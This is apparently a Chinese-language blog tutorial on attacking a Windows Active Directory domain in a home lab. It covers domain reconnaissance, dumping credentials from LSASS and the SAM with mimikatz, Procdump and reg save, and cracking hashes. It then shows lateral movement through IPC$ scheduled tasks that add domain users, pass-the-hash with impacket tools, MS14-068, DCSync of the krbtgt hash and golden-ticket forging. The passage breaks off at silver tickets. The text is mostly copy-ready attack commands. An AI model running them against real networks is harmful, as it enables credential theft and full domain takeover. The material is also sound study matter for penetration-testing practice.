文章目录
- 环境
- 域信息收集
- 系统基本信息
- 网络信息
- 域控主机信息
- 根据ip查主机名
- 用户信息
- 权限提升
- 网络探针
- 系统命令
- nbtscan
- fscan
- nishang
- 凭据收集
- 域渗透实战
- 凭据收集(重点)
- mimikatz
- Procdump
- Pwdump
- SAMInside
- krbtgt用户hash
- hash破解
- 解决无法获取明文的问题
- 明文口令传递
- IPC连接
- at
- schtask
- atexec
- Hash口令传递(PTH)
- atexec
- SMB协议传递
- psexec
- smbexec
- wmi服务协议传递
- 系统自带vmiexec
- 系统自带cscript
- wmiexec
- mimikatz
- 获取cmd高权限窗口
- RDP连接
- PTK(mimikatz)
- 票据传递(PTT)
- MS14-068(明文口令)
- kekeo工具(hash口令)
- 本地历史票据
- 黄金票据
- krbtgt用户哈希
- DCSync(mimikatz)
- LSA(mimikatz)
- kiwi(meterpreter)
- Hashdump(meterpreter)
- 金票伪造
- mimikatz
- kiwi
- 反弹shell
- 白银票据
- 目标机器用户哈希
- 银票伪造
- cifs服务(mimikatz)
- ldap服务(mimikatz)
- 票据传递的总结
- 金银票据的区别
环境
环境搭建 :
https://blog.csdn.net/weixin_60521036/article/details/142961251
搭建完成后使用域控制器下发文件,测试环境是否正常。
1.域控主机中新建共享文件夹
2.找到组策略管理
3.找到Default Domain Policy右键编辑
4.找到:用户配置->首选项->Windows设置->文件
5.空白处右键新建文件
6.源文件是你域控主机的文件位置,目标文件就是要分发下去的其他机器。
7.找到共享文件
我这里共享文件夹放了一个fscan,作为共享文件分发下去。
注意这里不能直接目录选择fscan文件,而是一定要选择共享文件夹中的路径,然后添加上文件夹中你要下发的文件。
然后目标文件就选择变量,分发到各自机子的桌面上
%USERPROFILE%\desktop\fscan.exe
确定后,建议强制更新一下,因为服务器默认更新组策略时间为5分钟,客户端电脑默认更新组策略时间为90分钟。
gpupdate /force
客户端这边检查桌面还是为空,是因为需要你gpupdate /force
强制更新,或者可以选择注销重新登录
分发成功,域环境OK。
补:dc域控定下这么一个分发规则后,就算你是创建新用户,在新用户桌面准备好后都会给你分发这么一个东西给你,所以说这也反映了域控主机是十分重要的。
域信息收集
系统基本信息
拿下每一台机器最好都将这些系统信息收集起来,有时候会有意想不到的惊喜。
systeminfo #详细信息
net start #服务
tasklist #进程列表
tasklist /svc 进程以及对应服务
schtasks #计划任务
网络信息
ipconfig /all #能看到域名
netstat -ano #ip连接、端口开放情况
网段扫描:工具和方式太多了,省略介绍,哪个方式用着习惯用哪个
域控主机信息
net view /domain #查看主域名,不存在域环境会报错
nslookup 域名 #定位域控DC的ip,这里有了域名后也可以ping域控主机的整体域名找到DC的ip
域控主机名
nltest /dsgetdc:域名 #查看域控主机名
net time /domain #判断主域DC:回显->主机名.主域名
根据ip查主机名
#windows系统命令
nbtstat -A ip
用户信息
whoami /all #主要看权限,还有其他信息比如SID
whoami /user #针对当前用户只查看SID
net config workstation #主要看你当前登录的信息(主机名、域名、用户名等等)
net user #本地用户有哪些
net user /domain #域环境的用户信息
net localgroup #本地用户组
net group /domain #域环境用户组
wmic useraccount get /all #域/本地用户详细信息(useraccount参数不用改)
net group "domain admins" /domain #查看域管理组的用户信息
net group "domain users" /domain #查看普通域的用户信息
权限提升
往期文章(提权 | Windows系统):
https://blog.csdn.net/weixin_60521036/article/details/143187444
网络探针
系统命令
ping扫网段
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.0.0.%I | findstr "TTL="
nbtscan
老牌工具扫网段,结果还有标出DC的ip
nbtscan.exe 10.0.0.0/24
fscan
项目地址:
https://github.com/shadow1ng/fscan
工具很强大,不做详细介绍,我这里就探测一下网段,就默认开启全部模块了。
fscan.exe -h 10.0.0.0/24
nishang
这个工具使用的是powershell,个人用的比较多
项目地址:
https://github.com/samratashok/nishang
使用脚本之前先进行以下设置,每一次都要进行设置
#设置执行策略
Windows+R
输入PowerShell
运行:Set-ExecutionPolicy -Scope CurrentUser
出现ExecutionPolicy: 填入RemoteSigned
(注明:同理你要设置Bypass的话就改为将RemoteSigned改为Bypass)
输入Y
关闭PowerShell ,重新打开powershell然后执行get-ExecutionPolicy,发现变成了RemoteSigned,就成功了#导入模块 nishang
#记得cd进入目录中才能导入nishang.psm1文件
#导入报错不要惊,后续你能获取到nishang的命令函数就代表你导入成功了
Import-Module .\nishang.psm1#获取模块nishang的命令函数
Get-Command -Module nishang
介绍两种用法,更多用法自行查看项目的原readme.md
#获取常规计算机信息
Get-Information
#端口扫描(查看目录对应文件有演示语法、其他同理)
Invoke-PortScan -StartAddress 10.0.0.1 -EndAddress 10.0.0.100 -ResolveHost -ScanPort
下面是命令执行的一些截图
凭据收集
这里获取凭证意思是包含:各种明文口令、密文hash口令、本地TGT票据、历史TGT票据等等。
下面实战部分详解<凭据收集>
域渗透实战
前提说明:域内机器相关信息如下
域管理员:administrator/Domain2024!
普通域用户:User001/Domain2024!nu/abc_123456
凭据收集(重点)
这里和往期内容内网渗透-内网信息收集(一)中的抓本地密码有重复:
https://blog.csdn.net/weixin_60521036/article/details/142964820
下面我就忽略重复内容,介绍平时域渗透中用的比较多的能够拿到凭据的工具以及使用方式。
mimikatz
项目地址:
https://github.com/gentilkiwi/mimikatz
前提:需要管理员权限才能收集
privilege::debug #进入debug模式
sekurlsa::logonpasswords #获取密码或者你要将结果输出到key.txt文件中
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > key.txt
Procdump
官网下载:
https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
条件
管理员权限运行
这个需要配合mimikatz解析密码,好处就是Procdump是微软自带,不会被杀掉,所以我们可以线上先导出lsass.dmp,然后放到本地mimkatz去解析获取密码
#导出lsass数据
Procdump.exe -accepteula -ma lsass.exe lsass.dmp#mimikatz分析lsass数据
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
#或者也一口气输出内容到key.txt文件中
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" > key.txt
Pwdump
工具官网下载:
https://www.openwall.com/passwords/windows-pwdump
条件
需要管理员权限运行
这里要用哪个版本就要看你在哪个版本系统上用了,官网有说明软件版本对应windows系统版本的
这个就很直接了,运行程序就输出对应账密,但都是hash,可以去在线网站破解,破解不了也没关系,后面我们也能够拿着hash值横向传递。
SAMInside
1.目标服务器导出SAM和SYSTEM或SYSKEY文件
2.通常是不能直接导出的,所以最好是通过命令窗口导出指定位置
reg save hklm\sam C:/sam
reg save hklm\system C:/system.key
reg save hklm\security C:/security
3.然后打开SAMInside选择导入
导入顺序:sam->system.key->security
导入后按解密即可,能解出来就OK,不能的话换一种方式,这种我也没成功过
krbtgt用户hash
往下看,在票据传递部分讲解如何获取
hash破解
1.在线网站
https://www.cmd5.com/
2.hashcat
项目地址:
https://github.com/hashcat/hashcat
hashcat -a 0 -m 1000 hash file --force
3.彩虹表
相关文件下载地址:
https://ophcrack.sourceforge.io/
https://www.freerainbowtables.com/
彩虹表 破解密码
原理
通过预先计算的hash散列链集合对来反推明文,因为在一个对中,其中的算法是固定的,所以只需要重复加密函数即可还原这个散列链,即头和尾知道了,比如:1:11,这中间的算法是+1,+4,那么这个hash链就是:`1-2-6-7-11`,因为是+1 +4,所以中间还原的链数据就是`2 6 7`,也就是说我们使用一个对就存储了5个值或者更多,这里仅仅只是举一个例子而已,具体+1+4要循环多少次还要看k参数。所以利用这个彩虹表去获取密码就会比较快速。
吐槽:其实常规点的hash密码丢到在线网站上直接就出来了,很少用彩虹表。
抓hash工具很多,可以是Procdump、pwdump等等,这里就用pwdump。
通过抓取到的hash,放到 ophcrack https://ophcrack.sourceforge.io/工具上,
用收集到的彩虹表https://www.freerainbowtables.com/
下载好采用表后,用ophcrack 加载数据
点击install后会让你选择你的彩虹表文件夹
彩虹表的数据如下
加载完成后你拿到的hash解不出来就可以丢到工具中看能不能撞出来
比如我这里使用pwdump8.exe拿到hash密码
然后随便复制丢到工具中点击crack,我这里是一个一个的复制进去,你也可以通过其他load方式
解决无法获取明文的问题
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
个人系统,vista之后主要是win7、win10等
针对以上情况,可以使用以下4种方式解决此类问题
1.利用哈希hash传递(pth、ptk等)进行移动
2.利用其它服务协议(SMB、WMI等)进行哈希移动
3.利用注册表操作开启Wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取 知识点:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在
Windows 2003以后,认证方式均为NTLM Hash。
注册表修改开启Wdigest Auth值:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
明文口令传递
IPC连接
条件
可以不是管理员权限运行net use
用户的明文口令
要和域管理员组的用户建立(一般普通域用户无法dir查看文件)
ip机器只要是在域环境内即可
重中之重:IPC你要建立连接而且你希望能够对建立的机器进行一系列操作的话必须你要用域管理员权限账户去连接,否则dir操作ipc是看不到的。普通的域用户只能够进行一些比如时间的同步之类的操作,是操作不了其他的,会显示拒绝访问。
ipc连接的建立与删除
net use \\server\ipc$ "password" /user:username #工作组建立IPC连接
net use \\server\ipc$ "password" /user:domain\username #域环境内建立IPC连接
net use \\server\ipc$ /del #删除某个连接
ipc操作
dir \\xx.xx.xx.xx\c$\ #查看文件列表
copy \\xx.xx.xx.xx\c$\1.bat 1.bat #下载文件
copy 1.bat \\xx.xx.xx.xx\c$ #复制文件
del \\xx.xx.xx.xx\c$\1.bat #删除文件
net view xx.xx.xx.xx #查看对方共享
ipc连接错误原因
建立IPC常见的错误代码 错误号5: 拒绝访问,权限不够; 错误号51: 无法找到网络路径(网络有问题)。 错误号53:找不到网络路径(ip地址错误;目标主机未开机;目标主机lanmanserver服务未启动;目 标主机防火墙设置过滤端口)。 错误号67:找不到网络名(本地主机中lanmanworkstation服务未启动或者目标主机删除了ipc$)。 错误号1219: 提供的凭据与已存在的凭据集冲突(已经建立了一个ipc$,可以删除再连)。 错误号1326: 用户名或密码错误。 错误号1792:试图登录,网络登录服务没有启动(目标主机中NetLogon服务未启动)。 错误号2242: 该用户的密码已经过期。 建立IPC失败的原因 1. 目标系统不是NT或者以上的操作系统 2. 对方没有打开IPC$共享 3. 对方未开启139、445端口,或者被防火墙屏蔽 4. 输出命令、账号密码有错误
下图为使用net use使用明文进行ipc连接(使用域管理组的用户进行连接
)
net use \\10.0.0.12\ipc$ "Domain2024!" /user:god.com\administrator
ipc连接后个人比较常用的横向操作就是利用计划任务。可以是创建用户可以是反弹shell可以是复制木马过去执行等等骚操作,只要你会写bat脚本即可。
at主要用于windows server 2012以下版本,schtasks主要是用于大于等于windows server 2012版本环境。
at
1.建立连接(如果你建立了就不用再建立了,只能有一个连接存在)
net use \\10.0.0.12\ipc$ "Domain2024!" /user:god.com\administrator
2.将你要执行的bat脚本写好,然后复制到目标机器上面
假设adduser.bat的内容为:(其中/domain为添加到域环境中)net user zs abc123456 /add /domain
----------------------------------------------------
#拷贝useradd.bat文件到10.0.0.12的c盘目录下
copy C:\useradd.bat \\10.0.0.12\c$
#添加计划任务,每天10:00执行useradd.bat
at \\10.0.0.12 12:00 c:\useradd.bat
schtask
schtasks >= windows2012
1.建立连接(如果你建立了就不用再建立了,只能有一个连接存在)
net use \\10.0.0.12\ipc$ "Domain2024!" /user:god.com\administrator
2.将你要执行的bat脚本写好,然后复制到目标机器上面
假设adduser.bat的内容为:(其中/domain为添加到域环境中)net user zs abc123456 /add /domain
----------------------------------------------------
#拷贝useradd.bat文件到10.0.0.12的c盘目录下,并且创建名为useradd的任务
copy C:\useradd.bat \\10.0.0.12 /ru "SYSTEM" /tn useradd /sc DAILY /tr c:\useradd.bat /F
#运行useradd计划任务
schtasks /run /s 10.0.0.12 /tn useradd /i
#删除adduser任务
schtasks /delete /s 10.0.0.12 /tn useradd /f
atexec
源码脚本项目地址:
https://github.com/SecureAuthCorp/impacket
脚本打包的exe程序项目地址:
https://gitee.com/RichChigga/impacket-examples-windows
条件
该程序可以不用管理员运行
要使用域管理员组的账密去连接
ip机器只要是在域环境内即可
在impacket包中三个我自己比较常用的,能够明文传递也能hash口令传递,我称之为三剑客。需要注意的是上传的时候注意杀软,因为是三方工具,不在微软白名单内。
atexec、psexec、smbexec
这里先介绍atexec,因为后面两个的利用方式和这个不一样,后两个是利用smb协议,而atexec主要是利用at指令改的工具。
atexec.exe ./administrator:Domain2024!@10.0.0.12 "whoami" #10.0.0.12的本地管理员组账密执行whoami
atexec.exe god/administrator:Domain2024!@10.0.0.11 "whoami" #10.0.0.12的域管理员组账密执行whoami
第一次执行会出错,再执行一次即可
总结
atexec.exe ./[用户名]:[密码]@[IP] "[命令]"
atexec.exe [域名]/[用户名]:[密码]@[IP] "[命令]"
Hash口令传递(PTH)
atexec
条件
该程序可以不用管理员运行
要使用域管理员组的账密hash口令去连接
ip机器只要是在域环境内即可
源码脚本项目地址:
https://github.com/SecureAuthCorp/impacket
脚本打包的exe程序项目地址:
https://gitee.com/RichChigga/impacket-examples-windows
注意事项:貌似需要用管理员组的用户去执行,hash密码前面记得加冒号,第一次执行可能会报错,第二次执行就会成功(如果不成功就是系统不支持,换一种方式吧)
atexec.exe -hashes :084ec12da6c348f999c7fab5df875222 ./administrator@10.0.0.11
总结
atexec.exe -hashes [:密码的hash值] ./[用户名]@[IP] "[命令]"
SMB协议传递
psexec
条件
管理员权限执行程序
域管理员组内的账密hash口令连接
ip机器只要是在域环境内即可
微软提供的官网下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
在impacket包中也有对应的二开程序:
源码脚本项目地址:https://github.com/SecureAuthCorp/impacket
脚本打包的exe程序项目地址:https://gitee.com/RichChigga/impacket-examples-windows
区别:二者区别就是微软自带的只能明文传递,二开的impacket包能够明文传递还能hash传递。
注意事项:需要用管理员权限执行命令,而且需要管理员用户组的账密。貌似psexec程序不支持x86的winserver2k3
0.直接介绍psexec的hash传递方法
#hash密文建立连接
PsExec.exe -hashes :084ec12da6c348f999c7fab5df875222 ./administrator@10.0.0.10GBK的代码为936
UTF-8的代码为65001
#如果乱码的话自行修改对应的编码
chcp 65001
1.需要建立ipc连接的psexec用法
#明文建立连接
net use \\10.0.0.10\ipc$ "Domain2024!" /user:administrator
#反弹shell
PsExec.exe \\10.0.0.10 -s cmd
2.不用建立ipc连接的psexec用法
注意:貌似psexec只支持域的管理员组的用户反弹shell,同样需要管理员权限运行该程序
#直接反弹shell
PsExec.exe \\10.0.0.10 -u administrator -p Domain2024! -s cmd
smbexec
普天同庆:不用管理员权限执行命令!!!!!!!
条件
普天同庆:不用管理员权限执行命令!!!!!!!
感觉无可挑剔,明文和hash都能用
除了不免杀感觉条件就是无可挑剔。
ip机器只要是在域环境内即可
smbexec无需先ipc连接,同时支持明文或者hash传递,个人感觉比psexec好用甚至不用管理员权限运行,甚至甚至还兼容性好。
经过测试:貌似这个程序支持x86的winserver2k3,上面的psexec是不支持的
smbexec [域名]/[用户名]:[密码]@[IP] #需要使用域管理员账户
smbexec god/administrator:Domain2024!@10.0.0.12smbexec ./[用户名]:[密码]@[IP] #支持目标机器本地管理员的传递,牛逼,psexec不支持
smbexec ./administrator:abc123456@10.0.0.12smbexec -hashes :[密码的hash值] ./[用户名]@[IP] #支持本地管理员的hash传递
smbexec -hashes :6d40a45eb79dddcba8e61e244bf88128 ./administrator@10.0.0.12smbexec -hashes :[密码的hash值] [域名]/[用户名]@[IP] #仅支持管理员组的域用户进行hash传递
smbexec -hashes :084ec12da6c348f999c7fab5df875222 god/administrator@10.0.0.12
wmi服务协议传递
wmi服务协议传递在日志中找不到痕迹,且系统自带wmic可进行明文的传递,但若要使用hash的话就还是要使用三方工具进行传递。
系统自带vmiexec
条件
不用管理员权限运行wmi命令
明文口令
需要域管理员权限的账密
ip机器只要是在域环境内即可
注意事项:貌似只能用域管理员用户组的用户才能执行成功
wmic /node:10.0.0.12 /user:administrator /password:Domain2024! process call create "cmd.exe /c ipconfig > C:\1.txt"
系统自带cscript
条件
不用管理员权限运行该程序命令
明文口令
需要域管理员组的账密
ip机器只要是在域环境内即可
该工具同理要使用管理用户组权限,cscript是系统自带的工具,并且有回显,能反弹一个shell回来,但是需要借助到wmiexec.vbs。
cscript //nologo wmiexec.vbs /shell 10.0.0.12 administrator Domain2024!
wmiexec
条件
不用管理员权限运行该命令
需要域管理员组的账密
在域环境中只能用域用户,不能用本地用户
ip机器只要是在域环境内即可
impacket包根据wmi二开的工具,工具下载地址和impacket包地址一样
本地用户
wmiexec ./administrator:Domain2024!@10.0.0.13 "whoami"
wmiexec -hashes :084ec12da6c348f999c7fab5df875222 ./administrator@10.0.0.13 "whoami"域用户
wmiexec god/administrator:Domain2024!@10.0.0.13 "whoami"
wmiexec -hashes :084ec12da6c348f999c7fab5df875222 god/administrator@10.0.0.13 "whoami"
mimikatz
获取cmd高权限窗口
条件
需要管理员用户运行,否则弹不出窗口
ip机器只要是在域环境内即可
我的困惑和理解
这里其实我很奇怪,明明需要管理员权限才能执行成功,
但是我都管理员权限了还要弹出来这个框干嘛,
又不是横向移动,弹出来的还是本机的管理员权限,
所以我只能强行理解为当我们拿到远程桌面,
我的理解:system权限在msf或者cs上拿着的拿到的远程桌面是普通用户希望在桌面上操作system权限的窗口命令通过cs或者msf等等,在这些远控工具上上传或者像cs能够直接执行mimikatz都行让远程桌面弹出system的cmd窗口,这样方便远程桌面连接横向移动
执行命令
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god.com /ntlm:084ec12da6c348f999c7fab5df875222
RDP连接
条件
需要管理员权限运行
ip机器只要是在域环境内即可
Windows系统中正常的RDP连接都是要明文进行连接,这里可以使用mimikatz + 已知的hash密文直接连接。
注意:你用的hash是域管理员用户的,这样在域环境下你才能用域环境下的ip直接连上windows远程桌面。
(在弹出的窗口我们只需要输入ip不用输入密码就能直接连接上)
攻击前提
确保`攻击机`开启了Restricted Admin ModePS:windows Server需要开启Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win7和Windows Server 2008 R2安装了2871997、2973351补丁也支持
判断攻击机是否开启Restricted Admin Mode
#增加前先进行查看是否存在这个键值,如果是空的或者值为1代表关闭,这时候就需要下一步增加/修改状态值
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"#注册表中添加开启状态值(修改也是这个命令)
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
攻击机攻击命令:
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:084ec12da6c348f999c7fab5df875222 "/run:mstsc.exe /restrictedadmin"
以下代表你的攻击机系统不支持Restricted Admin mode
如果当前系统支持Restricted Admin mode,执行后弹出远程桌面的登录界面,接着输入你要连接的ip
成功弹出窗口就代表成功了一半,如果还是连接失败就代表可能对方机器不允许连接或者系统不兼容又或者需要开启Restricted Admin Mode??本人没搞太明白,这种方法我还是比较少用就没去深入研究了,因为我们拿hash就足够我们横向了,拿hash连接拿桌面就当时下下策吧,如果有明文连接肯定不用hash这么麻烦。
PTK(mimikatz)
说明
PTK(pass the key)也是pth的一种,也是用hash去连,
同样也是是针对NTML的认证进行的一种攻击手法,
原理是通过获取用户的aes256_hmac值来完成登录认证,
这个可以用在我们无法获取当前主机的密码的情况下。
而且是在打了KB2871997补丁之后才能用这个方法。
条件
管理员权限运行mimikatz
管理员权限运行mimikatz
命令执行
privilege::debug
sekurlsa::ekeys #查看秘钥aes256_hmac#或者直接导出内容
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" "exit" > keys.txt
#使用
sekurlsa::pth /user:[用户名] /domain:[域名或“workgroup”] /aes256:[aes256的值]
sekurlsa::pth /user:mary /domain:god.com /aes256:329cb15457daf7747d932ee19a39a9e9aa7d561eea642123796ecb5a9dded088
如果打了补丁,导出的hash中会存在以下的hash键值
注意:如何判断执行成功?我这里并没有找到合适的主机进行攻击,但看网上其他人都是执行完后会弹出一个新窗口或者开一个新的管理员窗口去net use建立连接或者直接dir横向操作了,这里和之前mimikatz的普通pth攻击流程一样。
票据传递(PTT)
票据这部分基本都用mimikatz
pass the ticket
根据kerberos协议认证原理实现攻击,主要是伪造金票,下面介绍几种PTT操作
MS14-068(明文口令)
项目地址:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
条件
没有打MS14-068补丁
不用管理员权限运行(本身这个漏洞就是提权的)
可以用普通用户的账密
用户对应的sid
使用的时候只能使用域控主机的[主机名.域名]
注明:MS14-068实现的是提权效果,所以你接下来的程序都是可以用普通用户去执行的。
#查看是否打了MS14-068补丁
systeminfo | findstr "3011780"
执行命令
#建议先清除一下内存中的票据,这个不影响票据文件,如果本身就有高权限的票据后面还能将其导入进来
klist purge
#查看SID
whoami /all
或者只看SID
whoami /user
#上传工具MS14-068,运行程序(PS:这里尝试过只能用域控主机的ip提权)
用法:MS14-068.exe -u 普通域成员用户@域名 -s 用户对应的SID -d 域控主机ip -p 普通域成员用户的密码
MS14-068.exe -u nu@god.com -s S-1-5-21-1372085290-516318011-3378863887-1106 -d 10.0.0.10 -p abc_123456
#将票据通过mimikatz导入
用法:kerberos::ptc 票据文件路径
kerberos::ptc TGT_nu@god.com.ccache
#根据你要连接的ip查看主机名
用法:nbtstat -A ip
nbtstat -A 10.0.0.10
因为只能用域控主机,下面这些也能看
用法:nltest /dsgetdc:域名
nltest /dsgetdc:god
#新开一个窗口,就直接能用了,比如查看c盘下的文件
用法:dir \\主机名.域名\c$
dir \\WIN-Q23MC0LU96E.god.com\c$
下面展示效果图
whoami /all
MS14-068.exe -u nu@god.com -s S-1-5-21-1372085290-516318011-3378863887-1106 -d 10.0.0.10 -p abc_123456
kerberos::ptc TGT_nu@god.com.ccache
nbtstat -A 10.0.0.10
随便开一个窗口,net use可以看到并没有建立连接,我们这里是使用票据的形式提权,
且不用管理员权限开的也行:dir \\WIN-Q23MC0LU96E.god.com\c$
kekeo工具(hash口令)
项目地址:
https://github.com/gentilkiwi/kekeo
条件
不用管理员权限执行该程序
但是需要管理员的账密/hash口令
横向的时候需要用[主机名.域名] (注:金票注入貌似都只能用主机名来搞)
kekeo同样可以是普通用户权限执行该程序,无需管理员权限,但只不过是需要管理员的账密而已,不要搞混了,个人感觉这个生成和导入金票的方式更加直接且便捷好用。
kekeo可以通过hash来伪造票据,但核心还是用管理员的账密,也就是说相当于伪造金票最高权限使用,原理也是tgt金票走天下,只不过MS14-068是通过提权来使普通用户账密也能直接伪造金票TGT。
0.先进入kekeo程序内
#直接运行程序
kekeo.exe
1.生成票据,随便一个域用户
#明文生成票据方法(建议用管理员的账密信息)
tgt::ask /user:[域成员名] /domain:[域名] /password:[明文]
tgt::ask /user:administrator /domain:god.com /password:Domain2024!
#hash生成票据方法(建议用管理员的账密信息)
tgt::ask /user:[域成员名] /domain:[域名] /ntlm:[ntlm值]
tgt::ask /user:administrator /domain:god.com /ntlm:084ec12da6c348f999c7fab5df8752222.导入票据
kerberos::ptt [票据文件]
kerberos::ptt TGT_administrator@GOD.COM_krbtgt~god.com@GOD.COM.kirbi3.新开一个窗口(如果你当时生成和导入的票据是通过普通域用户的信息的话可能会失败)
直接就能用了
dir \\WIN-Q23MC0LU96E.god.com\c$
注意事项:
因为一般都是不用管理员权限执行该程序
↓↓↓↓↓
如果你是域管理员组用户的账密生成导入票据:即使你使用普通用户打开新的命令窗口也能够操作域控主机这才是我们要的效果,但用管理员权限用hash生成和导入,低权限也能使用拿到域控操作权限。
如果你使用普通域用户的账密生成票据和导入票据:当你普通用户打开的新窗口执行是操作不了域控机器的,然后我在测试过程中也发现连普通用户的机器也操作不了但是只有当你用管理员权限打开命令窗口的时候能够用你普通用户生成导入的票据权限,但这样不就违背了我们本身的意愿了么?所以域环境中我们还是尽量用管理员的信息吧,免得搞出太多乌龙以及走弯路。(明文难搞但是hash还是不难搞的)这不是我们想要的效果,域普通用户生成和导入无法低权限使用。
以下是展示实验图
普通用户开启窗口
通过管理员组用户信息生成票据,这里利用hash口令
使用kekeo导入票据
随机开一个窗口,不用管理员权限,klist可以发现确实是管理员权限的票据,所以现在就能够横向操作了
本地历史票据
条件
导入票据不用管理员权限运行mimikatz,但是收集凭据需要,
因为本地历史凭据通常存储在域控制器的安全账户管理器(Security Accounts Manager, SAM)数据库中
ps:导入票据的操作其实都不需要管理员权限操作,本来票据就是希望给普通用户有权限操作
但是你要通过mimikatz来收集凭据的话就需管理权限运行,利用mimikatz收集本地票据,再将票据导入到内存中进行连接,票据多的话一个个尝试,纯靠运气,看能不能碰到一个高权限TGT而且还在有效期范围内。
没啥好说了,下面给出命令
#进入debug权限
privilege::debug
#导出票据,票据会和mimikatz在同一目录下
sekurlsa::tickets /export
#导入票据,这里就一个一个尝试了,哪个成功了就成功,或者可以写脚本批量导入
kerberos::ptt [票据文件]
黄金票据
Golden Tickets
域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递。
域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的。
因此只要获取到krbtgt的密码Hash同时还需要获取他的SID,就可以随意伪造Ticket,进而使用Ticket登陆域控制器。
使用krbtgt用户hash生成的票据被称为Golden Ticket。
krbtgt用户哈希
条件
获取凭证都需要用管理员权限运行mimkatz导出信息
上面提到的黄金票据的伪造的条件是获取特殊用户krbtgt的SID
还有他的hash口令
,所以这里就需要知道如何获取。
DCSync(mimikatz)
介绍
2015年8月份Mimkatz新增了一个主要功能叫 "DCSync",使用这项技术可以有效地 "模拟" 域控制器并从目标域控上请求域内用户密码hash。这项技术为当下域渗透提供了极大地便利,可以直接远程dump域内hash
命令
mimikatz.exe
privilege::debug
lsadump::dcsync /user:krbtgt#或者导出文件中查看
mimikatz.exe "lsadump::dcsync /user:krbtgt" "exit" > krbtgt.txt
LSA(mimikatz)
条件
需要用管理员权限运行mimkatz
介绍
从 lsa 服务器获取密码
命令执行
mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt#或者导出文件中查看
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:krbtgt" "exit" > krbtgt.txt
kiwi(meterpreter)
meterpreter拿到shell后是需要有高权限,我这里普通权限没有执行成功。
下面是执行命令
load kiwi
dcsync_ntlm krbtgt
Hashdump(meterpreter)
meterpreter拿到shell后同样需要高权限执行
hashdump
金票伪造
金票伪造前提是你已经获取到了krbtgt用户和hash值。
说明:一定要看
这里我们金票伪造是在拿到krbtgt的sid和hash后进行伪造,总之你伪造的时候可以是普通用户执行的mimikatz,拿到金票也是能够用普通用户权限执行mimikatz导入注入到内存中,注入后,普通用户也能够使用 dir \\主机名.域名\c$ 这样查看,不能用ip,你也可以试试ip,反正在我环境中失败了。
然后金票其实就相当于一个后门,因为我们想要伪造金票,实际上我们已经有了管理员权限了,不然是拿不到krbtgt的信息的,我的理解就是金票是后门,你可以自己导出来到本地,目标机器上也都放几个金票,在有效期内都可以继续使用,那么横向的时候一个金票走天下了。
mimikatz
条件
需要管理员权限运行mimikatz,这里只是要获取krbtgt信息,和金票的生成导入没有关系,生成和导入都可以使用普通用户权限执行mimikatz
但导入金票是不用管理员权限的,也就是假设你本来就有金票,那就直接导入就好了
执行命令
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:god.com /user:krbtgt#或者也可以导出到krbtgt.txt文件中
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:god.com /user:krbtgt" "exit" > krbtgt.txt
1.伪造金票,用krbtgt用户的NTML hash 与 SID
mimikatz.exe
kerberos::golden /admin:system /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887-502 /krbtgt:52a1fdc635b47bb9a867673594c9b4ba /ticket:ticket.kirbimimikatz.exe "kerberos::golden /admin:system /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887-502 /krbtgt:52a1fdc635b47bb9a867673594c9b4ba /ticket:ticket.kirbi" "exit"#这里的SID值组成为:SID+RID(-502) RID去掉后才是域SID,如果注入失败尝试将后面的-502去掉,这是一个细节,你的sid不一定是和我的一样,所以要注意不要被我说-502你就找-502,而是这个组成SID+RID
2.清空票据缓存,以免有干扰
系统命令窗口执行:klist purge
或者在mimikatz中执行:kerberos::purge
3.注入金票票据到内存中
kerberos::ptt [票据文件] #如果没有和mimikatz在同一目录下就写文件路径
注入后我还以为可以使用普通用户来操作域控,\没想到还是要以管理员用户的身份去进行操作:
dir \\WIN-Q23MC0LU96E.god.com\c$
不过后面想了一下也正常,毕竟我们执行mimikatz都是管理员身份了,也没必要特地去搞个普通用户来执行
以下是通过管理员身份执行的:dir \\WIN-Q23MC0LU96E.god.com\c$
kiwi
条件
需要管理员权限创建票据
由于我拿到的meterpreter没有提权无法得到票据信息,所以这里就给出命令即可
#加载kiwi
load kiwi
#创建票据
golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <c:\krbtgt.ticket>
#注入到内存
kerberos_ticket_use c:\krbtgt.ticket
反弹shell
条件
票据注入后希望直接在当前机器横向拿到shell那就可以尝试使用psexec
但就是有点烦,psexec还是要管理员权限运行的哈~
当注入高权限票据后,可以尝试使用psexec进行反弹cmd,直接拿到机器的shell是最方便操作的。
用法:psexec.exe /accepteula /s \\主机名.域名 cmd.exe
psexec.exe /accepteula /s \\WIN-Q23MC0LU96E.god.com cmd.exe
白银票据
介绍
白银票据就是伪造的ST,直接和server交流,不经过KDC,
白银票据也称为专票,就是指定去访问某一个服务的。
目标机器用户哈希
